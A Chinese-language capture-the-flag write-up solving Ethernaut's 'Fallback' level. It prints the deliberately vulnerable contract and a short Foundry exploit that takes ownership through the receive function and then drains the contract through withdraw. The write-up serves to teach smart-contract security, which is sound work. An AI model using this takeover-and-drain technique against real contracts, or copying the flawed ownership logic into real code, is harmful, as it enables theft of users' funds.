Ethernaut 题库闯关第一题解决方案。
今天这篇是Ethernaut 题库闯关连载的第一篇,难度等级:容易。
本次挑战题,目标是要求获得Fallback
合约的所有权,并将其余额减少到0。
Fallback
合约源代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
本题主要涉及的知识点是 Fallback 回退函数相关的用法。登链社区有相关的文档: Fallback 回退函数 。
首先我们注意到,所使用的Solidity编译器版本是< 0.8.x
。这意味着该合约很容易出现数学下溢和上溢的错误。
这个合约导入和使用OpenZeppelin SafeMath库,但没有在代码里使用它。不过这里我们仍然没有办法利用溢出来掏空合约,至少在这个特定的情况下是这样。
耗尽合约的唯一方法是通过withdraw
函数,只有当msg.sender
等于变量owner
的值时才能调用(见onlyOwner
函数修改器)。这个函数将把合约中的所有资金转移到 "所有者"地址。
让我们看一下代码:
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
因此,如果我们找到一种方法,将所有者
的值改为我们的地址,我们将能够从合约中抽走所有的以太币。
实际上,在合约中,有两个地方的owner
变量是用msg.sender
更新的
1) contribute
函数
2) receive
函数
contribute
函数function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
这个函数允许msg.sender
向合约发送wei
。这些wei
将被添加到用户的余额中,由contributions
映射变量跟踪。
如果用户的总贡献大于当前所有者的贡献(contributions[msg.sender]> contributions[owner]
),那么msg.sender
将成为新的所有者。
不过问题是,当前所有者的贡献等于1000 ETH
(构造函数里设置的)。在挑战的描述中没有明确,但我们可以认为用户开始时的ETH是有限的,并且数额不允许我们比 "所有者"的贡献更多。因此,我们需要找到另一种方法。
receive
函数这是一个 "特殊" 的函数,当有人向合约发送一些以太坊而没有在交易的 "数据"字段中指定任何东西时,receive 就会被 "自动"调用。
引用官方Solidity文档中对receive函数的介绍:
一个合约现在只能有一个
receive
函数,声明的语法是:receive() external payable {...}
(没有function
关键词)。它在没有数据(calldata)的合约调用时执行,例如通过send()
或transfer()
调用。该函数不能有参数,不能返回任何东西,并且必须有external
可见性和payable
状态可变性。
下面是receive
函数的代码:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
在receive
函数中,只有当与交易一起发送的wei
数额>0
并且我们在contributions[msg.sender]
中的贡献>0
时,owner
就会更新msg.sender
。
到这里估计你已经有解决方案了,让我们看看解决方案!
以下是我们需要做的事情:
1) 用最大的0.001 ether
(通过require
检查)向合约捐款,调用contribute
函数,这样contributions[msg.sender]
将大于0 ;
2) 直接向合约发送1 wei
,触发receive
函数,成为新的owner
3) 调用withdraw
,将合约中储存的ETH
全部掏空!
下面是Solidity的代码:
function exploitLevel() internal override {
vm.startPrank(player);
// send the minimum amount to become a contributor
level.contribute{value: 0.0001 ether}();
// send directly to the contract 1 wei, this will allow us to become the new owner
(bool sent, ) = address(level).call{value: 1}("");
require(sent, "Failed to send Ether to the level");
// now that we are the owner of the contract withdraw all the funds
level.withdraw();
vm.stopPrank();
}
完整的代码在Fallback.t.sol, 你可以打开文件阅读本挑战的完整解决方案代码。
免责声明: 此挑战中的所有 Solidity 代码、实践和模式都是非常脆弱的,并且仅用于教育目的。请不要在生产中使用。
第一题已经完成,这一关有收获什么灵感么? 明天下一题见。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!